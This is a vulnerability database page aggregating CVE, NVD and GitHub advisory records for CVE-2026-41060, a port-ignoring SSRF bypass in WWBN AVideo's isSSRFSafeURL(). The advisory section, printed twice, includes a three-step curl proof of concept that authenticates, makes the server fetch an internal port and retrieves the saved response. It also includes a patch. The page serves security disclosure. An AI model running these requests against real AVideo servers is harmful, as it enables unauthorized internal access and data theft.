Vulnerability-Lookup

CVE-2026-41060 (GCVE-0-2026-41060)

Vulnerability from cvelistv5 – Published: 2026-04-21 22:44 – Updated: 2026-04-22 14:02

Title

AVideo's SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and below, the `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue.

Severity ?

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/commit/a0156a63983…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41060",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-22T14:01:31.813912Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-22T14:02:06.458Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-21T22:44:44.461Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba"
        }
      ],
      "source": {
        "advisory": "GHSA-j432-4w3j-3w8j",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo\u0027s SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41060",
    "datePublished": "2026-04-21T22:44:44.461Z",
    "dateReserved": "2026-04-16T16:43:03.173Z",
    "dateUpdated": "2026-04-22T14:02:06.458Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-41060",
      "date": "2026-04-24",
      "epss": "0.00028",
      "percentile": "0.08023"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-41060\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-21T23:16:21.250\",\"lastModified\":\"2026-04-24T15:08:25.453\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WWBN AVideo is an open source video platform. In versions 29.0 and below, the `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":7.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":4.0},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*\",\"versionEndIncluding\":\"29.0\",\"matchCriteriaId\":\"AC38CA07-71C1-4C86-B84A-83CF96367CBA\"}]}]}],\"references\":[{\"url\":\"https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-41060\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-22T14:01:31.813912Z\"}}}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-22T14:01:50.083Z\"}}], \"cna\": {\"title\": \"AVideo\u0027s SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL\", \"source\": {\"advisory\": \"GHSA-j432-4w3j-3w8j\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"WWBN\", \"product\": \"AVideo\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c= 29.0\"}]}], \"references\": [{\"url\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j\", \"name\": \"https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba\", \"name\": \"https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WWBN AVideo is an open source video platform. In versions 29.0 and below, the `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-918\", \"description\": \"CWE-918: Server-Side Request Forgery (SSRF)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-21T22:44:44.461Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-41060\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-22T14:02:06.458Z\", \"dateReserved\": \"2026-04-16T16:43:03.173Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-21T22:44:44.461Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-41060

Vulnerability from fkie_nvd - Published: 2026-04-21 23:16 - Updated: 2026-04-24 15:08

Severity ?

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba	Patch
security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j	Exploit, Mitigation, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA",
              "versionEndIncluding": "29.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and below, the `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration. Commit a0156a6398362086390d949190f9d52a823000ba fixes the issue."
    }
  ],
  "id": "CVE-2026-41060",
  "lastModified": "2026-04-24T15:08:25.453",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-04-21T23:16:21.250",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-J432-4W3J-3W8J

Vulnerability from github – Published: 2026-04-14 23:22 – Updated: 2026-04-14 23:22

Summary

WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL

Details

Summary

The isSSRFSafeURL() function in objects/functions.php contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches webSiteRootURL to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.

Details

Commit 40872e529 fixed an extension-based SSRF bypass by making isSSRFSafeURL() unconditional. However, isSSRFSafeURL() itself contains a same-domain shortcircuit that returns true when the URL's hostname matches webSiteRootURL's hostname, without validating the port:

// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    if ($host === $siteHost) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)");
        return true;  // Returns immediately — port, path, scheme all unchecked
    }
}

The attack flow through objects/aVideoEncoder.json.php:

User-supplied $_REQUEST['downloadURL'] is passed to downloadVideoFromDownloadURL() at line 166
isSSRFSafeURL() is called at line 368 — passes due to hostname match
url_get_contents($downloadURL) fetches the attacker-controlled URL at line 378
Response is written to Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL) at line 393-395

The cache/tmpFile/ directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.

The auth requirement is User::canUpload() (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid video_id_hash (a per-video token) can be used via useVideoHashOrLogin() at line 57.

PoC

Assuming the AVideo instance is at https://avideo.example.com/ and an internal service runs on port 9998:

# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
  -d 'user=testuser&pass=testpass'

# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
  -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'

# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin

Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in .mp3) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.

The fix at 40872e529 specifically mentions blocking http://127.0.0.1:9998/probe.mp4. This bypass reaches the exact same internal service by replacing 127.0.0.1 with the site's public hostname — the DNS resolution points to the same server.

Impact

Internal service access: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.
Data exfiltration: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.
Scope change: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.
Bypass of existing fix: This directly circumvents the SSRF protection added in commit 40872e529.

Recommended Fix

The same-domain shortcircuit should validate that both the hostname and port match webSiteRootURL. Replace objects/functions.php lines 4290-4296:

// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    $sitePort = parse_url($global['webSiteRootURL'], PHP_URL_PORT);
    $siteScheme = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_SCHEME));
    // Default port based on scheme if not explicitly set
    if (empty($sitePort)) {
        $sitePort = ($siteScheme === 'https') ? 443 : 80;
    }

    $urlPort = parse_url($url, PHP_URL_PORT);
    $urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));
    if (empty($urlPort)) {
        $urlPort = ($urlScheme === 'https') ? 443 : 80;
    }

    if ($host === $siteHost && $urlPort === $sitePort) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)");
        return true;
    }
}

This ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.

Severity ?

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:22:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.\n\n## Details\n\nCommit `40872e529` fixed an extension-based SSRF bypass by making `isSSRFSafeURL()` unconditional. However, `isSSRFSafeURL()` itself contains a same-domain shortcircuit that returns `true` when the URL\u0027s hostname matches `webSiteRootURL`\u0027s hostname, without validating the port:\n\n```php\n// objects/functions.php:4290-4296\nif (!empty($global[\u0027webSiteRootURL\u0027])) {\n    $siteHost = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_HOST));\n    if ($host === $siteHost) {\n        _error_log(\"isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)\");\n        return true;  // Returns immediately \u2014 port, path, scheme all unchecked\n    }\n}\n```\n\nThe attack flow through `objects/aVideoEncoder.json.php`:\n\n1. User-supplied `$_REQUEST[\u0027downloadURL\u0027]` is passed to `downloadVideoFromDownloadURL()` at line 166\n2. `isSSRFSafeURL()` is called at line 368 \u2014 passes due to hostname match\n3. `url_get_contents($downloadURL)` fetches the attacker-controlled URL at line 378\n4. Response is written to `Video::getStoragePath() . \"cache/tmpFile/\" . basename($downloadURL)` at line 393-395\n\nThe `cache/tmpFile/` directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.\n\nThe auth requirement is `User::canUpload()` (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid `video_id_hash` (a per-video token) can be used via `useVideoHashOrLogin()` at line 57.\n\n## PoC\n\nAssuming the AVideo instance is at `https://avideo.example.com/` and an internal service runs on port 9998:\n\n```bash\n# Step 1: Authenticate and get cookies (any user with upload permission)\ncurl -c cookies.txt -X POST \u0027https://avideo.example.com/objects/login.json.php\u0027 \\\n  -d \u0027user=testuser\u0026pass=testpass\u0027\n\n# Step 2: Send SSRF request targeting port 9998 on the same host\n# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true\ncurl -b cookies.txt -X POST \u0027https://avideo.example.com/objects/aVideoEncoder.json.php\u0027 \\\n  -d \u0027format=mp4\u0026downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4\u0026videos_id=1\u0026first_request=1\u0027\n\n# Step 3: Retrieve the exfiltrated response\n# The file is saved to cache/tmpFile/ with the basename of the URL\ncurl \u0027https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4\u0027 -o response.bin\n```\n\nNote: The internal service response must be \u003e= 20KB (or \u003e= 5KB if the URL ends in `.mp3`) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.\n\nThe fix at `40872e529` specifically mentions blocking `http://127.0.0.1:9998/probe.mp4`. This bypass reaches the exact same internal service by replacing `127.0.0.1` with the site\u0027s public hostname \u2014 the DNS resolution points to the same server.\n\n## Impact\n\n- **Internal service access**: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.\n- **Data exfiltration**: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.\n- **Scope change**: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.\n- **Bypass of existing fix**: This directly circumvents the SSRF protection added in commit `40872e529`.\n\n## Recommended Fix\n\nThe same-domain shortcircuit should validate that both the hostname and port match `webSiteRootURL`. Replace `objects/functions.php` lines 4290-4296:\n\n```php\n// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL\nif (!empty($global[\u0027webSiteRootURL\u0027])) {\n    $siteHost = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_HOST));\n    $sitePort = parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_PORT);\n    $siteScheme = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_SCHEME));\n    // Default port based on scheme if not explicitly set\n    if (empty($sitePort)) {\n        $sitePort = ($siteScheme === \u0027https\u0027) ? 443 : 80;\n    }\n\n    $urlPort = parse_url($url, PHP_URL_PORT);\n    $urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));\n    if (empty($urlPort)) {\n        $urlPort = ($urlScheme === \u0027https\u0027) ? 443 : 80;\n    }\n\n    if ($host === $siteHost \u0026\u0026 $urlPort === $sitePort) {\n        _error_log(\"isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)\");\n        return true;\n    }\n}\n```\n\nThis ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.",
  "id": "GHSA-j432-4w3j-3w8j",
  "modified": "2026-04-14T23:22:01Z",
  "published": "2026-04-14T23:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-41060 (GCVE-0-2026-41060)

FKIE_CVE-2026-41060

GHSA-J432-4W3J-3W8J

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature